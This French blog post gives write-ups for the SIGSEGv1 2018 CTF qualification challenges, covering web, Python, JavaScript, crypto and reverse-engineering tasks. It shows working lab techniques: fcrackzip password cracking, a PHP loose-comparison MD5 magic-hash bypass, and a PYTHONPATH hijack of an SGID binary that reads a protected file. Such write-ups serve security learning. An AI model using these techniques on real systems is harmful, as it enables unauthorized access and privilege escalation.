[CTF] Writeup du round de qualification SIGSEGV1

 

Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l’équipe formant l’association RTFM a grandi avec une passion pour la technologie et les sujets qui s’y rattachent.
L’objectif de l’association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le 1er décembre 2018 à l’école 42.
Celui-ci, nommé « SIGSEGv1 » se baserait sur trois axes :
  • Niveau technique avancé
  • Accessibilité géographique
  • Événement à taille humaine
Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d’attaques physiques ainsi que du hacking hardware et bas-niveau.
L’accès à l’événement a été rendu possible sur validation de challenges de qualification, qui étaient disponibles sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les writeups.

Web-serveur : la simplicité (par ShrewkRoot)

Description : Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n’est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d’etre bannis sur le challenge.
Le site se présente sous la forme d’une page blanche contenant une vidéo du rappeur Orelsan :

 

 

Le premier réflexe à adopter dans ce cas est de s’orienter sur la cartographie de l’application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.
En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l’arborescence d’un site :
  • /sitemap.xml : fichier XML contenant l’arborescence des différentes sections
  • /robots.txt : fichier txt visant à interdire le crawling de certaines sections aux robots
En naviguant sur le second, l’application indique que le fichier backup.zip existe :
Le fichier backup.zip est bien accessible, et une fois téléchargé, demande un mot de passe pour l’extraction :

iansus @ iansus-server ~/rtfm/quals/simple % unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:

Il est facile de procéder au bruteforce de ce mot de passe à l’aide de la liste rockyou.txt (présente par défaut sur Kali Linux) et de l’outil fcrackzip :

iansus @ iansus-server ~/rtfm/quals/simple % fcrackzip -D -p rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == passw0rd

Le mot de passe est donc passw0rd et permet de récupérer la source du fichier PHP, ci-dessous :
<?php
include « auth.php »;
?>
<html>
<head>
<title>Un site simple</title></title>
</head>
<body>
<center><iframe width=« 560 » height=« 315 » src=« https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;controls=0&amp;showinfo=0 » frameborder=« 0 » allow=« autoplay; encrypted-media » allowfullscreen></iframe></center>
<?php
if(isset($_POST[« h1 »]))
{
$h1 = md5($_POST[« h1 »] . « Shrewk »);
echo « h1 vaut: « .$h1.« </br> »;
if($h1 == « 0 »)
{
echo « <!–Bien joué le flag est « .$flag.« –> »;
}
}
?>
<!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>
<!– Un formulaire c’était pas assez simple donc on en a pas mis –>
</body>
</html>

Le script récupère la valeur du paramètre GET h1 et la concatène à la chaîne Shrewk avant d’en calculer l’empreinte MD5. Cette empreinte est ensuite comparée à la chaîne 0 à l’aide de l’opérateur ==.
En temps normal, cette condition n’est pas réalisable, puisque la sortie de la fonction md5() a pour longueur fixe 32. En revanche, puisque l’opérateur de comparaison faible (en opposition à la comparaison forte avec l’opérateur ===) est utilisé, il est possible d’en abuser. Notamment, toute chaine de caractère débutant par 0e et se terminant par une suite de chiffres est faiblement égale à la chaîne 0.
Les statistiques sont de notre côté, il n’est pas si improbable d’obtenir une telle chaîne en calculant l’empreinte d’une chaîne aléatoire :

<?php
while(1) {
$a = microtime(true);
if(md5($a.« Shrewk »)==« 0 ») {
echo $a;
break;
}
}
?>

La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :

 

iansus @ iansus-server ~/rtfm/quals/simple % curl -X POST http://iansus.net:4444 –data ‘h1=1539722573.8918’ -s | grep sigsegv
h1 vaut: 0e633901513385170308561908425699</br><!–Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}–><!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>

App-script : Fun avec Python (par laxa)

Description : J’ai commencé à développer des modules pour python, c’est marrant. Je suis presque sûr que tout est sécurisé jusqu’à présent.
ssh -p4443 chall@51.158.73.218 – mdp: e92b1b12c450afd60faa9f43cff5412e

 

La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l’environnement:

iansus @ iansus-server ~/rtfm/Qualifications-2018 % ssh -p 4443 chall@iansus.net
chall@iansus.net’s password:
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
aaaaaaaaaaaaaaaaaaaaaa
chall@4e5d88350bfc:~$ ls -l
total 16
-r–r—– 1 root chall-pwned 21 Oct 16 17:13 flag
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Oct 17 17:18 wrapper

Dans cette configuration, le fichier flag ne peut être lu que par un membre du groupe chall-pwned. Un programme wrapper possède le bit SGID et s’exécutera sous l’identité du groupe chall-pwned. Enfin, le fichier Python suivant est fourni :

#!/usr/bin/python2.7
from colors import colors
def main():
print(‘This is an advanced hello-world’)
print(‘The world is more joyful with colors’)
print(‘So, here we are:’)
print(‘{}Hello-World !{}’.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == ‘__main__’:
main()

Après vérification, le package colors n’existe pas sur PyPI, ce doit être un développement de l’auteur. Pour aller observer le fichier source, il suffit d’exécuter les commandes suivantes :

chall@4e5d88350bfc:~$ python2.7
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type « help », « copyright », « credits » or « license » for more information.
>>> import colors
>>> colors.__file__
/usr/local/lib/python2.7/dist-packages/colors/__init__.py’

La source du module Python est située dans le fichier /usr/local/lib/python2.7/dist-packages/colors/colors.py :

class bcolors:
HEADER = ‘\033[95m’
OKBLUE = ‘\033[94m’
OKGREEN = ‘\033[92m’
WARNING = ‘\033[93m’
FAIL = ‘\033[91m’
ENDC = ‘\033[0m’
BOLD = ‘\033[1m’
UNDERLINE = ‘\033[4m’

Plutôt déroutant à première vue, puisqu’aucun argument n’est fourni au programme… La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la documentation de Python décrit très bien l’ordre de chargement des modules.
Par défaut, les modules sont chargés depuis les dossiers présents dans la variable sys.path, qui fonctionne de manière similaire à la variable d’environnement $PATH. Cette variable est initialisée comme suit :
  • Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)
  • Avec la variable d’environnement $PYTHONPATH
  • Avec le dossier d’installation par défaut des scripts

 

N’ayant ni les droits d’écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L’utilisation d’un binaire SUID ne supprime pas les variables d’environnement (à l’inverse du fonctionnement par défaut de sudo).
Pour exploiter la vulnérabilité, le fichier /tmp/colors.py est créé :

#!/usr/bin/python2.7
print open(‘/home/chall/flag’, ‘r’).read()

Il est alors possible de récupérer le flag comme suit :
chall@4e5d88350bfc:~$ PYTHONPATH=/tmp ./wrapper
sigsegv{un_flag_ici}
Traceback (most recent call last):
File « /home/chall/hello-world.py », line 3, in <module>
from colors import colors
ImportError: cannot import name colors

Web-client : Javascript Obfusqué (par Synacktiv)

Description : Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d’un fichier HTML qui contient un formulaire pour vérifier le flag :

<html><SCRIPT LANGUAGE=« JavaScript »><!–
document.write(unescape(« %3C%53[..snip..]%54%3E »));//–></SCRIPT><SCRIPT LANGUAGE=« JavaScript »><!–
hp_d01(unescape(« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »));//–></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Il est en général possible de rencontrer deux types d’obfuscation JavaScript :

  • La première construit un code qui sera désobfusqué et exécuté grâce à la fonction eval()
  • La seconde construit un code qui sera désobfusqué et exécuté en l’ajoutant dynamiquement dans le code de la page, par exemple via document.write()

Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l’inspecteur HTML de Chrome / Firefox / Opera :

Le code complet de la fonction JavaScript est le suivant :
<script language=« JavaScript »>
function Kod(s, pass) {
var i=0;
var BlaBla=«  »;
for(j=0; j<s.length; j++) {
BlaBla += String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));
if (i>=pass.length)
i=0;
}
return(BlaBla);
}
function f(form){
var pass=document.form.pass.value;
var hash=0;
for(j=0; j<pass.length; j++){
var n= pass.charCodeAt(j);
hash += ((nj+33)^31025);
}
if (hash == 529387) {
var Secret =«  »+« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »+«  »;
var s=Kod(Secret, pass);
document.write (s);
} else {
alert (‘Wrong password!’);
}
}
</script>

Les première analyses du code indiquent que :

  • La fonction Kod consiste à réaliser une opération XOR entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer
  • La fonction f est appelée sur validation du formulaire et :
    • réalise une vérification sur la clé entrée dans le formulaire (variable hash)
    • déchiffre la variable Secret à l’aide de la clé pour l’afficher sur la page
Il s’agit donc ici d’un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable hash pour évaluer cette longueur.
Cette variable est la somme des (n-j+33)^31025, n étant le code ASCII du caractère et j sa position. Ces éléments sont globalement bornés autour dans l’intervalle 30000-32000. Il est donc facile d’approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077

, soit 17.

Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l’aide des mêmes octets de la clé :

« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e » +
« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d » +
« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 » +
« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d » +
« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 » +
« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 » +
« \x1b\x1d\x0a\x1f\x5b »

Pour traduire peu à peu le texte, il est possible d’utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu’un certain mot est présent (non coupé) dans l’un des blocs. Il est alors possible d’en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.
Le script suivant permet de faciliter cette recherche, et d’aboutir peu à peu à la clé finale, sigsegv{jsIsE4zy} :

#!/usr/bin/python
import sys
def xor(a, b):
return  ».join([chr(ord(c)^ord(d)) for c, d in zip(a, b)])

blocks = [
‘\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e’,
‘\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d’,
‘\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18’,
‘\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d’,
‘\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19’,
‘\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52’,
#’\x1b\x1d\x0a\x1f\x5b’
]
pw = sys.argv[1]
for b in blocks:
print ‘[-] Ref is %s’ % repr(b)
for i in range(len(blocks[0])-len(pw)+1):
print ‘[-] At pos %d’ % i
pk = xor(b[i:], pw)
print ‘[-] PK = %s’ % repr(pk)
for b2 in blocks:
if b==b2:
continue
print xor(b2[i:], pk)
print  »

Cryptographie : Un nouveau dialecte (ShrewkRoot)

Description : Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu’il signifie:
ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍAvant de se lancer à l’emporte pièce, il est important de noter qu’il s’agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :

iansus @ iansus-server ~/rtfm/quals/js % echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C
00000000 c8 83 c7 b9 c7 b7 c8 83 c7 b5 c7 b7 c8 86 c8 8b |…………….|
00000010 c7 9c c7 91 c7 a3 c7 a4 c7 95 c7 97 c7 91 c7 93 |…………….|
00000020 c7 95 c7 a3 c7 a4 c7 a0 c7 91 c7 a3 c7 a3 c7 99 |…………….|
00000030 c7 96 c7 91 c7 93 c7 99 c7 9c c7 95 c8 8d |…………..|
0000003e

On constate alors rapidement que les caractères s’écrivent sur deux octets, et qu’ils se présentent tous sous les forme c7 xx ou c8 yy. Par ailleurs, en supposant que le texte décodé commence par sigsegv{, on remarque que :

  • La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s’agit donc probablement d’une substitution monoalphabétique
  • La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée c7 b5 et c7 b7 : le décalage entre deux lettres est constant, il s’agit probablement d’une variante du chiffre de César
Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (c7 xx et c8 yy), il est facile de coder un programme qui réalisera la traduction pour nous :
#!/usr/bin/python
import sys
# No multibyte string in Python…
s = sys.argv[1]
# Compute shift from « sigsegv{….} »
dec1 = ord(s[0*2+1])-ord(‘s’)
dec2 = ord(s[1*2+1])-ord(‘i’)

# Apply unshift
sol =  »
for i in range(0, len(s), 2):
if ord(s[i])==0xc8:
sol += chr(ord(s[i+1])-dec1)
else:
sol += chr(ord(s[i+1])-dec2)

print sol
L’exécution fournit le flag suivant : sigsegv{LASTEGACESTPASSIFACILE}.

Reverse : antistrings (x0rz)

Description : Faites-moi confiance, XOR n’est pas la solution.

Le challenge se présente sous la forme d’un binaire ELF 64-bit strippé. Ce writeup utilisera Cutter, l’interface graphique de Radare2. Les première étapes sont assez simples, puisque la fonction main ne possède qu’un appel à une autre fonction :

 

 

Si l’on tente d’afficher le graphe de la fonction située à 0x004009e0, l’erreur suivante se produit :
Il s’agit là d’une technique anti-reverse, que l’on peut observer plus en détails dans l’affichage linéaire de Cutter :

 

 

Ci-dessous le détail des instructions :
  • push rax : sauvegarde la valeur courante de RAX sur la pile
  • xor eax, eax : remet la valeur de EAX à 0
  • test eax, eax : teste si la valeur de EAX est nulle et fixe le flag Z à 1
  • pop rax : récupère la valeur sauvegardée de RAX depuis la pile
  • jne 0x4009ee : saute à l’adresse indiquée si le flag Z vaut 0 (non pris)
  • je 0x4009ef : saute à l’adresse indiquée si le flag Z vaut 1 (pris)
Seulement, les instructions à l’adresse 0x4009ef ne sont pas désassemblées puisqu’une instruction jmp commence à l’octet précédent. Le saut à l’octet précédent n’étant jamais emprunté, il est possible d’ignorer cette instruction et de demander le désassemblage à partir de 0x4009ef.
Pour cela, un clic-droit à l’adresse 0x4009ee fait apparaître le menu suivant :
Il est alors possible d’observer le code qui devrait être normalement exécuté :
En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.
L’analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d’identifier la fonction qui gère le flag, sub.BB_7c2. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :
Le flag récupéré est alors sigsegv{W3llPl4y3d}.

 

Jean MARSAULT
Back to top